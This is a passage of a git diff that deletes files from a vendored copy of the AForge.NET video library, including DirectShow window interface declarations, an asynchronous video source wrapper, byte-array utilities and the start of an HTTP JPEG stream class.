put_Caption( string caption ); - - /// - /// Retrieves the video window caption. - /// - /// - /// Caption. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Caption( [Out] out string caption ); - - /// - /// Sets the window style on the video window. - /// - /// - /// Window style flags. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_WindowStyle( int windowStyle ); - - /// - /// Retrieves the window style on the video window. - /// - /// - /// Window style flags. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_WindowStyle( out int windowStyle ); - - /// - /// Sets the extended window style on the video window. - /// - /// - /// Window extended style flags. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_WindowStyleEx( int windowStyleEx ); - - /// - /// Retrieves the extended window style on the video window. - /// - /// - /// Window extended style flags. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_WindowStyleEx( out int windowStyleEx ); - - /// - /// Specifies whether the video renderer automatically shows the video window when it receives video data. - /// - /// - /// Specifies whether the video renderer automatically shows the video window. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_AutoShow( [In, MarshalAs( UnmanagedType.Bool )] bool autoShow ); - - /// - /// Queries whether the video renderer automatically shows the video window when it receives video data. - /// - /// - /// REceives window auto show flag. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_AutoShow( [Out, MarshalAs( UnmanagedType.Bool )] out bool autoShow ); - - /// - /// Shows, hides, minimizes, or maximizes the video window. - /// - /// - /// Window state. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_WindowState( int windowState ); - - /// - /// Queries whether the video window is visible, hidden, minimized, or maximized. - /// - /// - /// Window state. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_WindowState( out int windowState ); - - /// - /// Specifies whether the video window realizes its palette in the background. - /// - /// - /// Value that specifies whether the video renderer realizes it palette in the background. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_BackgroundPalette( [In, MarshalAs( UnmanagedType.Bool )] bool backgroundPalette ); - - /// - /// Queries whether the video window realizes its palette in the background. - /// - /// - /// Receives state of background palette flag. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_BackgroundPalette( [Out, MarshalAs( UnmanagedType.Bool )] out bool backgroundPalette ); - - /// - /// Shows or hides the video window. - /// - /// - /// Value that specifies whether to show or hide the window. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Visible( [In, MarshalAs( UnmanagedType.Bool )] bool visible ); - - /// - /// Queries whether the video window is visible. - /// - /// - /// Visibility flag. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Visible( [Out, MarshalAs( UnmanagedType.Bool )] out bool visible ); - - /// - /// Sets the video window's x-coordinate. - /// - /// - /// Specifies the x-coordinate, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Left( int left ); - - /// - /// Retrieves the video window's x-coordinate. - /// - /// - /// x-coordinate, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Left( out int left ); - - /// - /// Sets the width of the video window. - /// - /// - /// Specifies the width, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Width( int width ); - - /// - /// Retrieves the width of the video window. - /// - /// - /// Width, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Width( out int width ); - - /// - /// Sets the video window's y-coordinate. - /// - /// - /// Specifies the y-coordinate, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Top( int top ); - - /// - /// Retrieves the video window's y-coordinate. - /// - /// - /// y-coordinate, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Top( out int top ); - - /// - /// Sets the height of the video window. - /// - /// - /// Specifies the height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Height( int height ); - - /// - /// Retrieves the height of the video window. - /// - /// - /// Height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Height( out int height ); - - /// - /// Specifies a parent window for the video windowþ - /// - /// - /// Specifies a handle to the parent window. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_Owner( IntPtr owner ); - - /// - /// Retrieves the video window's parent window, if anyþ - /// - /// - /// Parent window's handle. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_Owner( out IntPtr owner ); - - /// - /// Specifies a window to receive mouse and keyboard messages from the video window. - /// - /// - /// Specifies a handle to the window. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_MessageDrain( IntPtr drain ); - - /// - /// Retrieves the window that receives mouse and keyboard messages from the video window, if any. - /// - /// - /// Window's handle. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_MessageDrain( out IntPtr drain ); - - /// - /// Retrieves the color that appears around the edges of the destination rectangle. - /// - /// - /// Border's color. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_BorderColor( out int color ); - - /// - /// Sets the color that appears around the edges of the destination rectangle. - /// - /// - /// Specifies the border color. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_BorderColor( int color ); - - /// - /// Queries whether the video renderer is in full-screen mode. - /// - /// - /// Full-screen mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_FullScreenMode( - [Out, MarshalAs( UnmanagedType.Bool )] out bool fullScreenMode ); - - /// - /// Enables or disables full-screen mode. - /// - /// - /// Boolean value that specifies whether to enable or disable full-screen mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int put_FullScreenMode( [In, MarshalAs( UnmanagedType.Bool )] bool fullScreenMode ); - - /// - /// Places the video window at the top of the Z order. - /// - /// - /// Value that specifies whether to give the window focus. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetWindowForeground( int focus ); - - /// - /// Forwards a message to the video window. - /// - /// - /// Handle to the window. - /// Specifies the message. - /// Message parameter. - /// Message parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int NotifyOwnerMessage( IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam ); - - /// - /// Sets the position of the video windowþ - /// - /// - /// Specifies the x-coordinate, in pixels. - /// Specifies the y-coordinate, in pixels. - /// Specifies the width, in pixels. - /// Specifies the height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetWindowPosition( int left, int top, int width, int height ); - - /// - /// Retrieves the position of the video window. - /// - /// - /// x-coordinate, in pixels. - /// y-coordinate, in pixels. - /// Width, in pixels. - /// Height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetWindowPosition( out int left, out int top, out int width, out int height ); - - /// - /// Retrieves the minimum ideal size for the video image. - /// - /// - /// Receives the minimum ideal width, in pixels. - /// Receives the minimum ideal height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMinIdealImageSize( out int width, out int height ); - - /// - /// Retrieves the maximum ideal size for the video image. - /// - /// - /// Receives the maximum ideal width, in pixels. - /// Receives the maximum ideal height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMaxIdealImageSize( out int width, out int height ); - - /// - /// Retrieves the restored window position. - /// - /// - /// x-coordinate, in pixels. - /// y-coordinate, in pixels. - /// Width, in pixels. - /// Height, in pixels. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetRestorePosition( out int left, out int top, out int width, out int height ); - - /// - /// Hides the cursor. - /// - /// - /// Specifies whether to hide or display the cursor. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int HideCursor( [In, MarshalAs( UnmanagedType.Bool )] bool hideCursor ); - - /// - /// Queries whether the cursor is hidden. - /// - /// - /// Specifies if cursor is hidden or not. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int IsCursorHidden( [Out, MarshalAs( UnmanagedType.Bool )] out bool hideCursor ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs b/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs deleted file mode 100644 index 0c9cc84a6..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs +++ /dev/null @@ -1,95 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Some miscellaneous functions. - /// - /// - internal static class Tools - { - /// - /// Get filter's pin. - /// - /// - /// Filter to get pin of. - /// Pin's direction. - /// Pin's number. - /// - /// Returns filter's pin. - /// - public static IPin GetPin( IBaseFilter filter, PinDirection dir, int num ) - { - IPin[] pin = new IPin[1]; - IEnumPins pinsEnum = null; - - // enum filter pins - if ( filter.EnumPins( out pinsEnum ) == 0 ) - { - PinDirection pinDir; - int n; - - try - { - // get next pin - while ( pinsEnum.Next( 1, pin, out n ) == 0 ) - { - // query pin`s direction - pin[0].QueryDirection( out pinDir ); - - if ( pinDir == dir ) - { - if ( num == 0 ) - return pin[0]; - num--; - } - - Marshal.ReleaseComObject( pin[0] ); - pin[0] = null; - } - } - finally - { - Marshal.ReleaseComObject( pinsEnum ); - } - } - return null; - } - - /// - /// Get filter's input pin. - /// - /// - /// Filter to get pin of. - /// Pin's number. - /// - /// Returns filter's pin. - /// - public static IPin GetInPin( IBaseFilter filter, int num ) - { - return GetPin( filter, PinDirection.Input, num ); - } - - /// - /// Get filter's output pin. - /// - /// - /// Filter to get pin of. - /// Pin's number. - /// - /// Returns filter's pin. - /// - public static IPin GetOutPin( IBaseFilter filter, int num ) - { - return GetPin( filter, PinDirection.Output, num ); - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs b/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs deleted file mode 100644 index cada2a792..000000000 --- a/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - - diff --git a/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs b/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs deleted file mode 100644 index 21c49ecb2..000000000 --- a/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs +++ /dev/null @@ -1,70 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:2.0.50727.4214 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -namespace AForge.Video.DirectShow.Properties { - using System; - - - /// - /// A strongly-typed resource class, for looking up localized strings, etc. - /// - // This class was auto-generated by the StronglyTypedResourceBuilder - // class via a tool like ResGen or Visual Studio. - // To add or remove a member, edit your .ResX file then rerun ResGen - // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - internal class Resources { - - private static global::System.Resources.ResourceManager resourceMan; - - private static global::System.Globalization.CultureInfo resourceCulture; - - [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] - internal Resources() { - } - - /// - /// Returns the cached ResourceManager instance used by this class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Resources.ResourceManager ResourceManager { - get { - if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AForge.Video.DirectShow.Properties.Resources", typeof(Resources).Assembly); - resourceMan = temp; - } - return resourceMan; - } - } - - /// - /// Overrides the current thread's CurrentUICulture property for all - /// resource lookups using this strongly typed resource class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Globalization.CultureInfo Culture { - get { - return resourceCulture; - } - set { - resourceCulture = value; - } - } - - internal static System.Drawing.Bitmap camera { - get { - object obj = ResourceManager.GetObject("camera", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx b/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx deleted file mode 100644 index 24fdc6b60..000000000 --- a/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - ..\Icons\camera.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - \ No newline at end of file diff --git a/Client/Core/AForge/Video/AsyncVideoSource.cs b/Client/Core/AForge/Video/AsyncVideoSource.cs deleted file mode 100644 index cb308610e..000000000 --- a/Client/Core/AForge/Video/AsyncVideoSource.cs +++ /dev/null @@ -1,473 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2005-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - - /// - /// Proxy video source for asynchronous processing of another nested video source. - /// - /// - /// The class represents a simple proxy, which wraps the specified - /// with the aim of asynchronous processing of received video frames. The class intercepts - /// event from the nested video source and fires it to clients from its own thread, which is different from the thread - /// used by nested video source for video acquisition. This allows clients to perform processing of video frames - /// without blocking video acquisition thread, which continue to run and acquire next video frame while current is still - /// processed. - /// - /// For example, let’s suppose that it takes 100 ms for the nested video source to acquire single frame, so the original - /// frame rate is 10 frames per second. Also let’s assume that we have an image processing routine, which also takes - /// 100 ms to process a single frame. If the acquisition and processing are done sequentially, then resulting - /// frame rate will drop to 5 frames per second. However, if doing both in parallel, then there is a good chance to - /// keep resulting frame rate equal (or close) to the original frame rate. - /// - /// The class provides a bonus side effect - easer debugging of image processing routines, which are put into - /// event handler. In many cases video source classes fire their - /// event from a try/catch block, which makes it very hard to spot error made in user's code - the catch block simply - /// hides exception raised in user’s code. The does not have any try/catch blocks around - /// firing of event, so always user gets exception in the case it comes from his code. At the same time - /// nested video source is not affected by the user's exception, since it runs in different thread. - /// - /// Sample usage: - /// - /// // usage of AsyncVideoSource is the same as usage of any - /// // other video source class, so code change is very little - /// - /// // create nested video source, for example JPEGStream - /// JPEGStream stream = new JPEGStream( "some url" ); - /// // create async video source - /// AsyncVideoSource asyncSource = new AsyncVideoSource( stream ); - /// // set NewFrame event handler - /// asyncSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// asyncSource.Start( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class AsyncVideoSource : IVideoSource - { - private readonly IVideoSource nestedVideoSource = null; - private Bitmap lastVideoFrame = null; - - private Thread imageProcessingThread = null; - private AutoResetEvent isNewFrameAvailable = null; - private AutoResetEvent isProcessingThreadAvailable = null; - - // skip frames or not in the case if processing thread is busy - private bool skipFramesIfBusy = false; - // processed frames count - private int framesProcessed; - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// This event is fired from a different thread other than the video acquisition thread created - /// by . This allows nested video frame to continue acquisition of the next - /// video frame while clients perform processing of the current video frame. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - /// Unlike event, this event is simply redirected to the corresponding - /// event of the , so it is fired from the thread of the nested video source. - /// - /// - public event VideoSourceErrorEventHandler VideoSourceError - { - add { nestedVideoSource.VideoSourceError += value; } - remove { nestedVideoSource.VideoSourceError -= value; } - } - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// Unlike event, this event is simply redirected to the corresponding - /// event of the , so it is fired from the thread of the nested video source. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished - { - add { nestedVideoSource.PlayingFinished += value; } - remove { nestedVideoSource.PlayingFinished -= value; } - } - - /// - /// Nested video source which is the target for asynchronous processing. - /// - /// - /// The property is set through the class constructor. - /// - /// All calls to this object are actually redirected to the nested video source. The only - /// exception is the event, which is handled differently. This object gets - /// event from the nested class and then fires another - /// event, but from a different thread. - /// - /// - public IVideoSource NestedVideoSource - { - get { return nestedVideoSource; } - } - - /// - /// Specifies if the object should skip frames from the nested video source when it is busy. - /// - /// - /// Specifies if the object should skip frames from the nested video source - /// in the case if it is still busy processing the previous video frame in its own thread. - /// - /// Default value is set to . - /// - public bool SkipFramesIfBusy - { - get { return skipFramesIfBusy; } - set { skipFramesIfBusy = value; } - } - - /// - /// Video source string. - /// - /// - /// The property is redirected to the corresponding property of , - /// so check its documentation to find what it means. - /// - public string Source - { - get { return nestedVideoSource.Source; } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the nested video source received from - /// the moment of the last access to the property. - /// - /// - public int FramesReceived - { - get { return nestedVideoSource.FramesReceived; } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the nested video source received from - /// the moment of the last access to the property. - /// - public long BytesReceived - { - get { return nestedVideoSource.BytesReceived; } - } - - /// - /// Processed frames count. - /// - /// - /// The property keeps the number of processed video frames since the last access to this property. - /// - /// - /// The value of this property equals to in most cases if the - /// property is set to - every received frame gets processed - /// sooner or later. However, if the property is set to , - /// then value of this property may be lower than the value of the property, which - /// means that nested video source performs acquisition faster than client perform processing of the received frame - /// and some frame are skipped from processing. - /// - /// - public int FramesProcessed - { - get - { - int frames = framesProcessed; - framesProcessed = 0; - return frames; - } - } - - /// - /// State of the video source. - /// - /// - /// Current state of the video source object - running or not. - /// - public bool IsRunning - { - get - { - bool isRunning = nestedVideoSource.IsRunning; - - if ( !isRunning ) - { - Free( ); - } - - return isRunning; - } - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Nested video source which is the target for asynchronous processing. - /// - public AsyncVideoSource( IVideoSource nestedVideoSource ) - { - this.nestedVideoSource = nestedVideoSource; - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Nested video source which is the target for asynchronous processing. - /// Specifies if the object should skip frames from the nested video source - /// in the case if it is still busy processing the previous video frame. - /// - public AsyncVideoSource( IVideoSource nestedVideoSource, bool skipFramesIfBusy ) - { - this.nestedVideoSource = nestedVideoSource; - this.skipFramesIfBusy = skipFramesIfBusy; - } - - /// - /// Start video source. - /// - /// - /// Starts the nested video source and returns execution to caller. This object creates - /// an extra thread which is used to fire events, so the image processing could be - /// done on another thread without blocking video acquisition thread. - /// - public void Start( ) - { - if ( !IsRunning ) - { - framesProcessed = 0; - - // create all synchronization events - isNewFrameAvailable = new AutoResetEvent( false ); - isProcessingThreadAvailable = new AutoResetEvent( true ); - - // create image processing thread - imageProcessingThread = new Thread( new ThreadStart( imageProcessingThread_Worker ) ); - imageProcessingThread.Start( ); - - // start the nested video source - nestedVideoSource.NewFrame += new NewFrameEventHandler( nestedVideoSource_NewFrame ); - nestedVideoSource.Start( ); - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - nestedVideoSource.SignalToStop( ); - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for video source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - nestedVideoSource.WaitForStop( ); - Free( ); - } - - /// - /// Stop video source. - /// - /// - /// Stops nested video source by calling its method. - /// See documentation of the particular video source for additional details. - /// - public void Stop( ) - { - nestedVideoSource.Stop( ); - Free( ); - } - - private void Free( ) - { - if ( imageProcessingThread != null ) - { - nestedVideoSource.NewFrame -= new NewFrameEventHandler( nestedVideoSource_NewFrame ); - - // make sure processing thread does nothing - isProcessingThreadAvailable.WaitOne( ); - // signal worker thread to stop and wait for it - lastVideoFrame = null; - isNewFrameAvailable.Set( ); - imageProcessingThread.Join( ); - imageProcessingThread = null; - - // release events - isNewFrameAvailable.Close( ); - isNewFrameAvailable = null; - - isProcessingThreadAvailable.Close( ); - isProcessingThreadAvailable = null; - } - } - - // New frame from nested video source - private void nestedVideoSource_NewFrame( object sender, NewFrameEventArgs eventArgs ) - { - // don't even try doing something if there are no clients - if ( NewFrame == null ) - return; - - if ( skipFramesIfBusy ) - { - if ( !isProcessingThreadAvailable.WaitOne( 0, false ) ) - { - // return in the case if image processing thread is still busy and - // we are allowed to skip frames - return; - } - } - else - { - // make sure image processing thread is available in the case we cannot skip frames - isProcessingThreadAvailable.WaitOne( ); - } - - // pass the image to processing frame and exit - lastVideoFrame = CloneImage( eventArgs.Frame ); - isNewFrameAvailable.Set( ); - } - - private void imageProcessingThread_Worker( ) - { - while ( true ) - { - // wait for new frame to process - isNewFrameAvailable.WaitOne( ); - - // if it is null, then we need to exit - if ( lastVideoFrame == null ) - { - break; - } - - if ( NewFrame != null ) - { - NewFrame( this, new NewFrameEventArgs( lastVideoFrame ) ); - } - - lastVideoFrame.Dispose( ); - lastVideoFrame = null; - framesProcessed++; - - // we are free now for new image - isProcessingThreadAvailable.Set( ); - } - } - - // Note: image cloning is taken from AForge.Imaging.Image.Clone() to avoid reference, - // which may be unwanted - - private static Bitmap CloneImage( Bitmap source ) - { - // lock source bitmap data - BitmapData sourceData = source.LockBits( - new Rectangle( 0, 0, source.Width, source.Height ), - ImageLockMode.ReadOnly, source.PixelFormat ); - - // create new image - Bitmap destination = CloneImage( sourceData ); - - // unlock source image - source.UnlockBits( sourceData ); - - // - if ( - ( source.PixelFormat == PixelFormat.Format1bppIndexed ) || - ( source.PixelFormat == PixelFormat.Format4bppIndexed ) || - ( source.PixelFormat == PixelFormat.Format8bppIndexed ) || - ( source.PixelFormat == PixelFormat.Indexed ) ) - { - ColorPalette srcPalette = source.Palette; - ColorPalette dstPalette = destination.Palette; - - int n = srcPalette.Entries.Length; - - // copy pallete - for ( int i = 0; i < n; i++ ) - { - dstPalette.Entries[i] = srcPalette.Entries[i]; - } - - destination.Palette = dstPalette; - } - - return destination; - } - - private static Bitmap CloneImage( BitmapData sourceData ) - { - // get source image size - int width = sourceData.Width; - int height = sourceData.Height; - - // create new image - Bitmap destination = new Bitmap( width, height, sourceData.PixelFormat ); - - // lock destination bitmap data - BitmapData destinationData = destination.LockBits( - new Rectangle( 0, 0, width, height ), - ImageLockMode.ReadWrite, destination.PixelFormat ); - - AForge.SystemTools.CopyUnmanagedMemory( destinationData.Scan0, sourceData.Scan0, height * sourceData.Stride ); - - // unlock destination image - destination.UnlockBits( destinationData ); - - return destination; - } - } -} diff --git a/Client/Core/AForge/Video/ByteArrayUtils.cs b/Client/Core/AForge/Video/ByteArrayUtils.cs deleted file mode 100644 index 50e612e71..000000000 --- a/Client/Core/AForge/Video/ByteArrayUtils.cs +++ /dev/null @@ -1,91 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007-2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Some internal utilities for handling arrays. - /// - /// - internal static class ByteArrayUtils - { - /// - /// Check if the array contains needle at specified position. - /// - /// - /// Source array to check for needle. - /// Needle we are searching for. - /// Start index in source array. - /// - /// Returns true if the source array contains the needle at - /// the specified index. Otherwise it returns false. - /// - public static bool Compare( byte[] array, byte[] needle, int startIndex ) - { - int needleLen = needle.Length; - // compare - for ( int i = 0, p = startIndex; i < needleLen; i++, p++ ) - { - if ( array[p] != needle[i] ) - { - return false; - } - } - return true; - } - - /// - /// Find subarray in the source array. - /// - /// - /// Source array to search for needle. - /// Needle we are searching for. - /// Start index in source array. - /// Number of bytes in source array, where the needle is searched for. - /// - /// Returns starting position of the needle if it was found or -1 otherwise. - /// - public static int Find( byte[] array, byte[] needle, int startIndex, int sourceLength ) - { - int needleLen = needle.Length; - int index; - - while ( sourceLength >= needleLen ) - { - // find needle's starting element - index = Array.IndexOf( array, needle[0], startIndex, sourceLength - needleLen + 1 ); - - // if we did not find even the first element of the needls, then the search is failed - if ( index == -1 ) - return -1; - - int i, p; - // check for needle - for ( i = 0, p = index; i < needleLen; i++, p++ ) - { - if ( array[p] != needle[i] ) - { - break; - } - } - - if ( i == needleLen ) - { - // needle was found - return index; - } - - // continue to search for needle - sourceLength -= ( index - startIndex + 1 ); - startIndex = index + 1; - } - return -1; - } - } -} diff --git a/Client/Core/AForge/Video/Exceptions.cs b/Client/Core/AForge/Video/Exceptions.cs deleted file mode 100644 index c0219d4e5..000000000 --- a/Client/Core/AForge/Video/Exceptions.cs +++ /dev/null @@ -1,31 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2005-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Video related exception. - /// - /// - /// The exception is thrown in the case of some video related issues, like - /// failure of initializing codec, compression, etc. - /// - public class VideoException : Exception - { - /// - /// Initializes a new instance of the class. - /// - /// - /// Exception's message. - /// - public VideoException( string message ) : - base( message ) { } - } -} diff --git a/Client/Core/AForge/Video/JPEGStream.cs b/Client/Core/AForge/Video/JPEGStream.cs deleted file mode 100644 index 6d85ff28e..000000000 --- a/Client/Core/AForge/Video/JPEGStream.cs +++ /dev/null @@ -1,587 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2005-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - using System.Drawing; - using System.IO; - using System.Text; - using System.Threading; - using System.Net; - using System.Security; - - /// - /// JPEG video source. - /// - /// - /// The video source constantly downloads JPEG files from the specified URL. - /// - /// Sample usage: - /// - /// // create JPEG video source - /// JPEGStream stream = new JPEGStream( "some url" ); - /// // set NewFrame event handler - /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// stream.Start( ); - /// // ... - /// // signal to stop - /// stream.SignalToStop( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// Some cameras produce HTTP header, which does not conform strictly to - /// standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing - /// configuration option of httpWebRequest should be set, what may be done using application - /// configuration file. - /// - /// <configuration> - /// <system.net> - /// <settings> - /// <httpWebRequest useUnsafeHeaderParsing="true" /> - /// </settings> - /// </system.net> - /// </configuration> - /// - /// - /// - public class JPEGStream : IVideoSource - { - // URL for JPEG files - private string source; - // login and password for HTTP authentication - private string login = null; - private string password = null; - // proxy information - private IWebProxy proxy = null; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - // use separate HTTP connection group or use default - private bool useSeparateConnectionGroup = false; - // prevent cashing or not - private bool preventCaching = true; - // frame interval in milliseconds - private int frameInterval = 0; - // timeout value for web request - private int requestTimeout = 10000; - // if we should use basic authentication when connecting to the video source - private bool forceBasicAuthentication = false; - - // buffer size used to download JPEG image - private const int bufferSize = 1024 * 1024; - // size of portion to read at once - private const int readSize = 1024; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Use or not separate connection group. - /// - /// - /// The property indicates to open web request in separate connection group. - /// - public bool SeparateConnectionGroup - { - get { return useSeparateConnectionGroup; } - set { useSeparateConnectionGroup = value; } - } - - /// - /// Use or not caching. - /// - /// - /// If the property is set to true, then a fake random parameter will be added - /// to URL to prevent caching. It's required for clients, who are behind proxy server. - /// - public bool PreventCaching - { - get { return preventCaching; } - set { preventCaching = value; } - } - - /// - /// Frame interval. - /// - /// - /// The property sets the interval in milliseconds betwen frames. If the property is - /// set to 100, then the desired frame rate will be 10 frames per second. Default value is 0 - - /// get new frames as fast as possible. - /// - public int FrameInterval - { - get { return frameInterval; } - set { frameInterval = value; } - } - - /// - /// Video source. - /// - /// - /// URL, which provides JPEG files. - /// - public virtual string Source - { - get { return source; } - set { source = value; } - } - - /// - /// Login value. - /// - /// - /// Login required to access video source. - /// - public string Login - { - get { return login; } - set { login = value; } - } - - /// - /// Password value. - /// - /// - /// Password required to access video source. - /// - public string Password - { - get { return password; } - set { password = value; } - } - - /// - /// Gets or sets proxy information for the request. - /// - /// - /// The local computer or application config file may specify that a default - /// proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy - /// property overridea the local computer or application config file and the instance will use - /// the proxy settings specified. If no proxy is specified in a config file - /// and the Proxy property is unspecified, the request uses the proxy settings - /// inherited from Internet Explorer on the local computer. If there are no proxy settings - /// in Internet 